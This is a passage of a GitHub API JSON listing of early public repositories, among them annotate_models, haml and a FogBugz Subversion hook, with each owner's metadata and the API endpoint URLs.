s_url":"https://api.github.com/repos/shingara/pictrails/stargazers","contributors_url":"https://api.github.com/repos/shingara/pictrails/contributors","subscribers_url":"https://api.github.com/repos/shingara/pictrails/subscribers","subscription_url":"https://api.github.com/repos/shingara/pictrails/subscription","commits_url":"https://api.github.com/repos/shingara/pictrails/commits{/sha}","git_commits_url":"https://api.github.com/repos/shingara/pictrails/git/commits{/sha}","comments_url":"https://api.github.com/repos/shingara/pictrails/comments{/number}","issue_comment_url":"https://api.github.com/repos/shingara/pictrails/issues/comments/{number}","contents_url":"https://api.github.com/repos/shingara/pictrails/contents/{+path}","compare_url":"https://api.github.com/repos/shingara/pictrails/compare/{base}...{head}","merges_url":"https://api.github.com/repos/shingara/pictrails/merges","archive_url":"https://api.github.com/repos/shingara/pictrails/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/shingara/pictrails/downloads","issues_url":"https://api.github.com/repos/shingara/pictrails/issues{/number}","pulls_url":"https://api.github.com/repos/shingara/pictrails/pulls{/number}","milestones_url":"https://api.github.com/repos/shingara/pictrails/milestones{/number}","notifications_url":"https://api.github.com/repos/shingara/pictrails/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/shingara/pictrails/labels{/name}"},{"id":1462,"name":"annotate_models","full_name":"ctran/annotate_models","owner":{"login":"ctran","id":491,"avatar_url":"https://1.gravatar.com/avatar/accad816054fc1b2fa7dae2a2fce5266?d=https%3A%2F%2Fidenticons.github.com%2F559cb990c9dffd8675f6bc2186971dc2.png","gravatar_id":"accad816054fc1b2fa7dae2a2fce5266","url":"https://api.github.com/users/ctran","html_url":"https://github.com/ctran","followers_url":"https://api.github.com/users/ctran/followers","following_url":"https://api.github.com/users/ctran/following{/other_user}","gists_url":"https://api.github.com/users/ctran/gists{/gist_id}","starred_url":"https://api.github.com/users/ctran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ctran/subscriptions","organizations_url":"https://api.github.com/users/ctran/orgs","repos_url":"https://api.github.com/users/ctran/repos","events_url":"https://api.github.com/users/ctran/events{/privacy}","received_events_url":"https://api.github.com/users/ctran/received_events","type":"User"},"private":false,"html_url":"https://github.com/ctran/annotate_models","description":"Annotate ActiveRecord models as a gem","fork":false,"url":"https://api.github.com/repos/ctran/annotate_models","forks_url":"https://api.github.com/repos/ctran/annotate_models/forks","keys_url":"https://api.github.com/repos/ctran/annotate_models/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ctran/annotate_models/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ctran/annotate_models/teams","hooks_url":"https://api.github.com/repos/ctran/annotate_models/hooks","issue_events_url":"https://api.github.com/repos/ctran/annotate_models/issues/events{/number}","events_url":"https://api.github.com/repos/ctran/annotate_models/events","assignees_url":"https://api.github.com/repos/ctran/annotate_models/assignees{/user}","branches_url":"https://api.github.com/repos/ctran/annotate_models/branches{/branch}","tags_url":"https://api.github.com/repos/ctran/annotate_models/tags","blobs_url":"https://api.github.com/repos/ctran/annotate_models/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ctran/annotate_models/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ctran/annotate_models/git/refs{/sha}","trees_url":"https://api.github.com/repos/ctran/annotate_models/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ctran/annotate_models/statuses/{sha}","languages_url":"https://api.github.com/repos/ctran/annotate_models/languages","stargazers_url":"https://api.github.com/repos/ctran/annotate_models/stargazers","contributors_url":"https://api.github.com/repos/ctran/annotate_models/contributors","subscribers_url":"https://api.github.com/repos/ctran/annotate_models/subscribers","subscription_url":"https://api.github.com/repos/ctran/annotate_models/subscription","commits_url":"https://api.github.com/repos/ctran/annotate_models/commits{/sha}","git_commits_url":"https://api.github.com/repos/ctran/annotate_models/git/commits{/sha}","comments_url":"https://api.github.com/repos/ctran/annotate_models/comments{/number}","issue_comment_url":"https://api.github.com/repos/ctran/annotate_models/issues/comments/{number}","contents_url":"https://api.github.com/repos/ctran/annotate_models/contents/{+path}","compare_url":"https://api.github.com/repos/ctran/annotate_models/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ctran/annotate_models/merges","archive_url":"https://api.github.com/repos/ctran/annotate_models/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ctran/annotate_models/downloads","issues_url":"https://api.github.com/repos/ctran/annotate_models/issues{/number}","pulls_url":"https://api.github.com/repos/ctran/annotate_models/pulls{/number}","milestones_url":"https://api.github.com/repos/ctran/annotate_models/milestones{/number}","notifications_url":"https://api.github.com/repos/ctran/annotate_models/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ctran/annotate_models/labels{/name}"},{"id":1469,"name":"blueprint_layout","full_name":"alce/blueprint_layout","owner":{"login":"alce","id":1133,"avatar_url":"https://1.gravatar.com/avatar/b404a438e7106c61e31fa6ebcc089a5f?d=https%3A%2F%2Fidenticons.github.com%2Ffd06b8ea02fe5b1c2496fe1700e9d16c.png","gravatar_id":"b404a438e7106c61e31fa6ebcc089a5f","url":"https://api.github.com/users/alce","html_url":"https://github.com/alce","followers_url":"https://api.github.com/users/alce/followers","following_url":"https://api.github.com/users/alce/following{/other_user}","gists_url":"https://api.github.com/users/alce/gists{/gist_id}","starred_url":"https://api.github.com/users/alce/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alce/subscriptions","organizations_url":"https://api.github.com/users/alce/orgs","repos_url":"https://api.github.com/users/alce/repos","events_url":"https://api.github.com/users/alce/events{/privacy}","received_events_url":"https://api.github.com/users/alce/received_events","type":"User"},"private":false,"html_url":"https://github.com/alce/blueprint_layout","description":"Create ","fork":false,"url":"https://api.github.com/repos/alce/blueprint_layout","forks_url":"https://api.github.com/repos/alce/blueprint_layout/forks","keys_url":"https://api.github.com/repos/alce/blueprint_layout/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alce/blueprint_layout/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alce/blueprint_layout/teams","hooks_url":"https://api.github.com/repos/alce/blueprint_layout/hooks","issue_events_url":"https://api.github.com/repos/alce/blueprint_layout/issues/events{/number}","events_url":"https://api.github.com/repos/alce/blueprint_layout/events","assignees_url":"https://api.github.com/repos/alce/blueprint_layout/assignees{/user}","branches_url":"https://api.github.com/repos/alce/blueprint_layout/branches{/branch}","tags_url":"https://api.github.com/repos/alce/blueprint_layout/tags","blobs_url":"https://api.github.com/repos/alce/blueprint_layout/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alce/blueprint_layout/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alce/blueprint_layout/git/refs{/sha}","trees_url":"https://api.github.com/repos/alce/blueprint_layout/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alce/blueprint_layout/statuses/{sha}","languages_url":"https://api.github.com/repos/alce/blueprint_layout/languages","stargazers_url":"https://api.github.com/repos/alce/blueprint_layout/stargazers","contributors_url":"https://api.github.com/repos/alce/blueprint_layout/contributors","subscribers_url":"https://api.github.com/repos/alce/blueprint_layout/subscribers","subscription_url":"https://api.github.com/repos/alce/blueprint_layout/subscription","commits_url":"https://api.github.com/repos/alce/blueprint_layout/commits{/sha}","git_commits_url":"https://api.github.com/repos/alce/blueprint_layout/git/commits{/sha}","comments_url":"https://api.github.com/repos/alce/blueprint_layout/comments{/number}","issue_comment_url":"https://api.github.com/repos/alce/blueprint_layout/issues/comments/{number}","contents_url":"https://api.github.com/repos/alce/blueprint_layout/contents/{+path}","compare_url":"https://api.github.com/repos/alce/blueprint_layout/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alce/blueprint_layout/merges","archive_url":"https://api.github.com/repos/alce/blueprint_layout/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alce/blueprint_layout/downloads","issues_url":"https://api.github.com/repos/alce/blueprint_layout/issues{/number}","pulls_url":"https://api.github.com/repos/alce/blueprint_layout/pulls{/number}","milestones_url":"https://api.github.com/repos/alce/blueprint_layout/milestones{/number}","notifications_url":"https://api.github.com/repos/alce/blueprint_layout/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alce/blueprint_layout/labels{/name}"},{"id":1479,"name":"wp_theme_victoria","full_name":"enhiro/wp_theme_victoria","owner":{"login":"enhiro","id":1098,"avatar_url":"https://1.gravatar.com/avatar/1e62788b9ca14d8456b17deaf97f048f?d=https%3A%2F%2Fidenticons.github.com%2Fa5e0ff62be0b08456fc7f1e88812af3d.png","gravatar_id":"1e62788b9ca14d8456b17deaf97f048f","url":"https://api.github.com/users/enhiro","html_url":"https://github.com/enhiro","followers_url":"https://api.github.com/users/enhiro/followers","following_url":"https://api.github.com/users/enhiro/following{/other_user}","gists_url":"https://api.github.com/users/enhiro/gists{/gist_id}","starred_url":"https://api.github.com/users/enhiro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enhiro/subscriptions","organizations_url":"https://api.github.com/users/enhiro/orgs","repos_url":"https://api.github.com/users/enhiro/repos","events_url":"https://api.github.com/users/enhiro/events{/privacy}","received_events_url":"https://api.github.com/users/enhiro/received_events","type":"User"},"private":false,"html_url":"https://github.com/enhiro/wp_theme_victoria","description":"Tema para wordpress","fork":false,"url":"https://api.github.com/repos/enhiro/wp_theme_victoria","forks_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/forks","keys_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/keys{/key_id}","collaborators_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/teams","hooks_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/hooks","issue_events_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/issues/events{/number}","events_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/events","assignees_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/assignees{/user}","branches_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/branches{/branch}","tags_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/tags","blobs_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/git/refs{/sha}","trees_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/git/trees{/sha}","statuses_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/statuses/{sha}","languages_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/languages","stargazers_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/stargazers","contributors_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/contributors","subscribers_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/subscribers","subscription_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/subscription","commits_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/commits{/sha}","git_commits_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/git/commits{/sha}","comments_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/comments{/number}","issue_comment_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/issues/comments/{number}","contents_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/contents/{+path}","compare_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/compare/{base}...{head}","merges_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/merges","archive_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/downloads","issues_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/issues{/number}","pulls_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/pulls{/number}","milestones_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/milestones{/number}","notifications_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/enhiro/wp_theme_victoria/labels{/name}"},{"id":1482,"name":"cosmo","full_name":"travis/cosmo","owner":{"login":"travis","id":1113,"avatar_url":"https://0.gravatar.com/avatar/1ec6df8a238d0088e58865391c9b5c7f?d=https%3A%2F%2Fidenticons.github.com%2F9c3b1830513cc3b8fc4b76635d32e692.png","gravatar_id":"1ec6df8a238d0088e58865391c9b5c7f","url":"https://api.github.com/users/travis","html_url":"https://github.com/travis","followers_url":"https://api.github.com/users/travis/followers","following_url":"https://api.github.com/users/travis/following{/other_user}","gists_url":"https://api.github.com/users/travis/gists{/gist_id}","starred_url":"https://api.github.com/users/travis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/travis/subscriptions","organizations_url":"https://api.github.com/users/travis/orgs","repos_url":"https://api.github.com/users/travis/repos","events_url":"https://api.github.com/users/travis/events{/privacy}","received_events_url":"https://api.github.com/users/travis/received_events","type":"User"},"private":false,"html_url":"https://github.com/travis/cosmo","description":"Travis Vachon's clone of the Cosmo Subversion tree","fork":false,"url":"https://api.github.com/repos/travis/cosmo","forks_url":"https://api.github.com/repos/travis/cosmo/forks","keys_url":"https://api.github.com/repos/travis/cosmo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/travis/cosmo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/travis/cosmo/teams","hooks_url":"https://api.github.com/repos/travis/cosmo/hooks","issue_events_url":"https://api.github.com/repos/travis/cosmo/issues/events{/number}","events_url":"https://api.github.com/repos/travis/cosmo/events","assignees_url":"https://api.github.com/repos/travis/cosmo/assignees{/user}","branches_url":"https://api.github.com/repos/travis/cosmo/branches{/branch}","tags_url":"https://api.github.com/repos/travis/cosmo/tags","blobs_url":"https://api.github.com/repos/travis/cosmo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/travis/cosmo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/travis/cosmo/git/refs{/sha}","trees_url":"https://api.github.com/repos/travis/cosmo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/travis/cosmo/statuses/{sha}","languages_url":"https://api.github.com/repos/travis/cosmo/languages","stargazers_url":"https://api.github.com/repos/travis/cosmo/stargazers","contributors_url":"https://api.github.com/repos/travis/cosmo/contributors","subscribers_url":"https://api.github.com/repos/travis/cosmo/subscribers","subscription_url":"https://api.github.com/repos/travis/cosmo/subscription","commits_url":"https://api.github.com/repos/travis/cosmo/commits{/sha}","git_commits_url":"https://api.github.com/repos/travis/cosmo/git/commits{/sha}","comments_url":"https://api.github.com/repos/travis/cosmo/comments{/number}","issue_comment_url":"https://api.github.com/repos/travis/cosmo/issues/comments/{number}","contents_url":"https://api.github.com/repos/travis/cosmo/contents/{+path}","compare_url":"https://api.github.com/repos/travis/cosmo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/travis/cosmo/merges","archive_url":"https://api.github.com/repos/travis/cosmo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/travis/cosmo/downloads","issues_url":"https://api.github.com/repos/travis/cosmo/issues{/number}","pulls_url":"https://api.github.com/repos/travis/cosmo/pulls{/number}","milestones_url":"https://api.github.com/repos/travis/cosmo/milestones{/number}","notifications_url":"https://api.github.com/repos/travis/cosmo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/travis/cosmo/labels{/name}"},{"id":1490,"name":"fogbugz-svnhook","full_name":"francois/fogbugz-svnhook","owner":{"login":"francois","id":247,"avatar_url":"https://0.gravatar.com/avatar/7da32f740e64088d2b07c277f3c1b94b?d=https%3A%2F%2Fidenticons.github.com%2F3cec07e9ba5f5bb252d13f5f431e4bbb.png","gravatar_id":"7da32f740e64088d2b07c277f3c1b94b","url":"https://api.github.com/users/francois","html_url":"https://github.com/francois","followers_url":"https://api.github.com/users/francois/followers","following_url":"https://api.github.com/users/francois/following{/other_user}","gists_url":"https://api.github.com/users/francois/gists{/gist_id}","starred_url":"https://api.github.com/users/francois/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/francois/subscriptions","organizations_url":"https://api.github.com/users/francois/orgs","repos_url":"https://api.github.com/users/francois/repos","events_url":"https://api.github.com/users/francois/events{/privacy}","received_events_url":"https://api.github.com/users/francois/received_events","type":"User"},"private":false,"html_url":"https://github.com/francois/fogbugz-svnhook","description":"A Subversion post-commit hook that will edit FogBugz cases using Trac-like keywords","fork":false,"url":"https://api.github.com/repos/francois/fogbugz-svnhook","forks_url":"https://api.github.com/repos/francois/fogbugz-svnhook/forks","keys_url":"https://api.github.com/repos/francois/fogbugz-svnhook/keys{/key_id}","collaborators_url":"https://api.github.com/repos/francois/fogbugz-svnhook/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/francois/fogbugz-svnhook/teams","hooks_url":"https://api.github.com/repos/francois/fogbugz-svnhook/hooks","issue_events_url":"https://api.github.com/repos/francois/fogbugz-svnhook/issues/events{/number}","events_url":"https://api.github.com/repos/francois/fogbugz-svnhook/events","assignees_url":"https://api.github.com/repos/francois/fogbugz-svnhook/assignees{/user}","branches_url":"https://api.github.com/repos/francois/fogbugz-svnhook/branches{/branch}","tags_url":"https://api.github.com/repos/francois/fogbugz-svnhook/tags","blobs_url":"https://api.github.com/repos/francois/fogbugz-svnhook/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/francois/fogbugz-svnhook/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/francois/fogbugz-svnhook/git/refs{/sha}","trees_url":"https://api.github.com/repos/francois/fogbugz-svnhook/git/trees{/sha}","statuses_url":"https://api.github.com/repos/francois/fogbugz-svnhook/statuses/{sha}","languages_url":"https://api.github.com/repos/francois/fogbugz-svnhook/languages","stargazers_url":"https://api.github.com/repos/francois/fogbugz-svnhook/stargazers","contributors_url":"https://api.github.com/repos/francois/fogbugz-svnhook/contributors","subscribers_url":"https://api.github.com/repos/francois/fogbugz-svnhook/subscribers","subscription_url":"https://api.github.com/repos/francois/fogbugz-svnhook/subscription","commits_url":"https://api.github.com/repos/francois/fogbugz-svnhook/commits{/sha}","git_commits_url":"https://api.github.com/repos/francois/fogbugz-svnhook/git/commits{/sha}","comments_url":"https://api.github.com/repos/francois/fogbugz-svnhook/comments{/number}","issue_comment_url":"https://api.github.com/repos/francois/fogbugz-svnhook/issues/comments/{number}","contents_url":"https://api.github.com/repos/francois/fogbugz-svnhook/contents/{+path}","compare_url":"https://api.github.com/repos/francois/fogbugz-svnhook/compare/{base}...{head}","merges_url":"https://api.github.com/repos/francois/fogbugz-svnhook/merges","archive_url":"https://api.github.com/repos/francois/fogbugz-svnhook/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/francois/fogbugz-svnhook/downloads","issues_url":"https://api.github.com/repos/francois/fogbugz-svnhook/issues{/number}","pulls_url":"https://api.github.com/repos/francois/fogbugz-svnhook/pulls{/number}","milestones_url":"https://api.github.com/repos/francois/fogbugz-svnhook/milestones{/number}","notifications_url":"https://api.github.com/repos/francois/fogbugz-svnhook/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/francois/fogbugz-svnhook/labels{/name}"},{"id":1494,"name":"haml","full_name":"mislav/haml","owner":{"login":"mislav","id":887,"avatar_url":"https://0.gravatar.com/avatar/8f93a872e399bc1353cc8d4e791d5401?d=https%3A%2F%2Fidenticons.github.com%2F7ce3284b743aefde80ffd9aec500e085.png","gravatar_id":"8f93a872e399bc1353cc8d4e791d5401","url":"https://api.github.com/users/mislav","html_url":"https://github.com/mislav","followers_url":"https://api.github.com/users/mislav/followers","following_url":"https://api.github.com/users/mislav/following{/other_user}","gists_url":"https://api.github.com/users/mislav/gists{/gist_id}","starred_url":"https://api.github.com/users/mislav/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mislav/subscriptions","organizations_url":"https://api.github.com/users/mislav/orgs","repos_url":"https://api.github.com/users/mislav/repos","events_url":"https://api.github.com/users/mislav/events{/privacy}","received_events_url":"https://api.github.com/users/mislav/received_events","type":"User"},"private":false,"html_url":"https://github.com/mislav/haml","description":"HTML Abstraction Markup Language - A Markup Haiku","fork":true,"url":"https://api.github.com/repos/mislav/haml","forks_url":"https://api.github.com/repos/mislav/haml/forks","keys_url":"https://api.github.com/repos/mislav/haml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mislav/haml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mislav/haml/teams","hooks_url":"https://api.github.com/repos/mislav/haml/hooks","issue_events_url":"https://api.github.com/repos/mislav/haml/issues/events{/number}","events_url":"https://api.github.com/repos/mislav/haml/events","assignees_url":"https://api.github.com/repos/mislav/haml/assignees{/user}","branches_url":"https://api.github.com/repos/mislav/haml/branches{/branch}","tags_url":"https://api.github.com/repos/mislav/haml/tags","blobs_url":"https://api.github.com/repos/mislav/haml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mislav/haml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mislav/haml/git/refs{/sha}","trees_url":"https://api.github.com/repos/mislav/haml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mislav/haml/statuses/{sha}","languages_url":"https://api.github.com/repos/mislav/haml/languages","stargazers_url":"https://api.github.com/repos/mislav/haml/stargazers","contributors_url":"https://api.github.com/repos/mislav/haml/contributors","subscribers_url":"https://api.github.com/repos/mislav/haml/subscribers","subscription_url":"https://api.github.com/repos/mislav/haml/subscription","commits_url":"https://api.github.com/repos/mislav/haml/commits{/sha}","git_commits_url":"https://api.github.com/repos/mislav/haml/git/commits{/sha}","comments_url":"https://api.github.com/repos/mislav/haml/comments{/number}","issue_comment_url":"https://api.github.com/repos/mislav/haml/issues/comments/{number}","contents_url":"https://api.github.com/repos/mislav/haml/contents/{+path}","compare_url":"https://api.github.com/repos/mislav/haml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mislav/haml/merges","archive_url":"https://api.github.com/repos/mislav/haml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mislav/haml/downloads","issues_url":"https://api.github.com/repos/mislav/haml/issues{/number}","pulls_url":"https://api.github.com/repos/mislav/haml/pulls{/number}","milestones_url":"https://api.github.com/repos/mislav/haml/milestones{/number}","notifications_url":"https://api.github.com/repos/mislav/haml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mislav/haml/labels{/name}"},{"id":1499,"name":"quicktest","full_name":"gregwebs/quicktest","owner":{"login":"gregwebs","id":1183,"avatar_url":"https://1.gravatar.com/avatar/bad65d3d7319025d73e065d7a29ee22a?d=https%3A%2F%2Fidenticons.github.com%2F0e095e054ee94774d6a496099eb1cf6a.png","gravatar_id":"bad65d3d7319025d73e065d7a29ee22a","url":"https://api.github.com/users/gregwebs","html_url":"https://github.com/gregwebs","followers_url":"https://api.github.com/users/gregwebs/followers","following_url":"https://api.github.com/users/gregwebs/following{/other_user}","gists_url":"https://api.github.com/users/gregwebs/gists{/gist_id}","starred_url":"https://api.github.com/users/gregwebs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregwebs/subscriptions","organizations_url":"https://api.github.com/users/gregwebs/orgs","repos_url":"https://api.github.com/users/gregwebs/repos","events_url":"https://api.github.com/users/gregwebs/events{/privacy}","received_events_url":"https://api.github.com/users/gregwebs/received_events","type":"User"},"private":false,"html_url":"https://github.com/gregwebs/quicktest","description":"Utility for inlining unit tests with the code under test.","fork":false,"url":"https://api.github.com/repos/gregwebs/quicktest","forks_url":"https://api.github.com/repos/gregwebs/quicktest/forks","keys_url":"https://api.github.com/repos/gregwebs/quicktest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gregwebs/quicktest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gregwebs/quicktest/teams","hooks_url":"https://api.github.com/repos/gregwebs/quicktest/hooks","issue_events_url":"https://api.github.com/repos/gregwebs/quicktest/issues/events{/number}","events_url":"https://api.github.com/repos/gregwebs/quicktest/events","assignees_url":"https://api.github.com/repos/gregwebs/quicktest/assignees{/user}","branches_url":"https://api.github.com/repos/gregwebs/quicktest/branches{/branch}","tags_url":"https://api.github.com/repos/gregwebs/quicktest/tags","blobs_url":"https://api.github.com/repos/gregwebs/quicktest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gregwebs/quicktest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gregwebs/quicktest/git/refs{/sha}","trees_url":"https://api.github.com/repos/gregwebs/quicktest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gregwebs/quicktest/statuses/{sha}","languages_url":"https://api.github.com/repos/gregwebs/quicktest/languages","stargazers_url":"https://api.github.com/repos/gregwebs/quicktest/stargazers","contributors_url":"https://api.github.com/repos/gregwebs/quicktest/contributors","subscribers_url":"https://api.github.com/repos/gregwebs/quicktest/subscribers","subscription_url":"https://api.github.com/repos/gregwebs/quicktest/subscription","commits_url":"https://api.github.com/repos/gregwebs/quicktest/commits{/sha}","git_commits_url":"https://api.github.com/repos/gregwebs/quicktest/git/commits{/sha}","comments_url":"https://api.github.com/repos/gregwebs/quicktest/comments{/number}","issue_comment_url":"https://api.github.com/repos/gregwebs/quicktest/issues/comments/{number}","contents_url":"https://api.github.com/repos/gregwebs/quicktest/contents/{+path}","compare_url":"https://api.github.com/repos/gregwebs/quicktest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gregwebs/quicktest/merges","archive_url":"https://api.github.com/repos/gregwebs/quicktest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gregwebs/quicktest/downloads","issues_url":"https://api.github.com/repos/gregwebs/quicktest/issues{/number}","pulls_url":"https://api.github.com/repos/gregwebs/quicktest/pulls{/number}","milestones_url":"https://api.github.com/repos/gregwebs/quicktest/milestones{/number}","notifications_url":"https://api.github.com/repos/gregwebs/quicktest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gregwebs/quicktest/labels{/name}"},{"id":1511,"name":"getfamilliarwithgit","full_name":"bcbroom/getfamilliarwithgit","owner":{"login":"bcbroom","id":1240,"avatar_url":"https://1.gravatar.com/avatar/72ddd6509156a7dd3c301b87a46c5219?d=https%3A%2F%2Fidenticons.github.com%2Fa9078e8653368c9c291ae2f8b74012e7.png","gravatar_id":"72ddd6509156a7dd3c301b87a46c5219","url":"https://api.github.com/users/bcbroom","html_url":"https://github.com/bcbroom","followers_url":"https://api.github.com/users/bcbroom/followers","following_url":"https://api.github.com/users/bcbroom/following{/other_user}","gists_url":"https://api.github.com/users/bcbroom/gists{/gist_id}","starred_url":"https://api.github.com/users/bcbroom/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcbroom/subscriptions","organizations_url":"https://api.github.com/users/bcbroom/orgs","repos_url":"https://api.github.com/users/bcbroom/repos","events_url":"https://api.github.com/users/bcbroom/events{/privacy}","received_events_url":"https://api.github.com/users/bcbroom/received_events","type":"User"},"private":false,"html_url":"https://github.com/bcbroom/getfamilliarwithgit","description":"","fork":false,"url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit","forks_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/forks","keys_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/teams","hooks_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/hooks","issue_events_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/issues/events{/number}","events_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/events","assignees_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/assignees{/user}","branches_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/branches{/branch}","tags_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/tags","blobs_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/git/refs{/sha}","trees_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/statuses/{sha}","languages_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/languages","stargazers_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/stargazers","contributors_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/contributors","subscribers_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/subscribers","subscription_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/subscription","commits_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/commits{/sha}","git_commits_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/git/commits{/sha}","comments_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/comments{/number}","issue_comment_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/issues/comments/{number}","contents_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/contents/{+path}","compare_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/merges","archive_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/downloads","issues_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/issues{/number}","pulls_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/pulls{/number}","milestones_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/milestones{/number}","notifications_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bcbroom/getfamilliarwithgit/labels{/name}"},{"id":1512,"name":"stor","full_name":"qartis/stor","owner":{"login":"qartis","id":1253,"avatar_url":"https://2.gravatar.com/avatar/1b2c7498c940fe0af16e0408af8eb0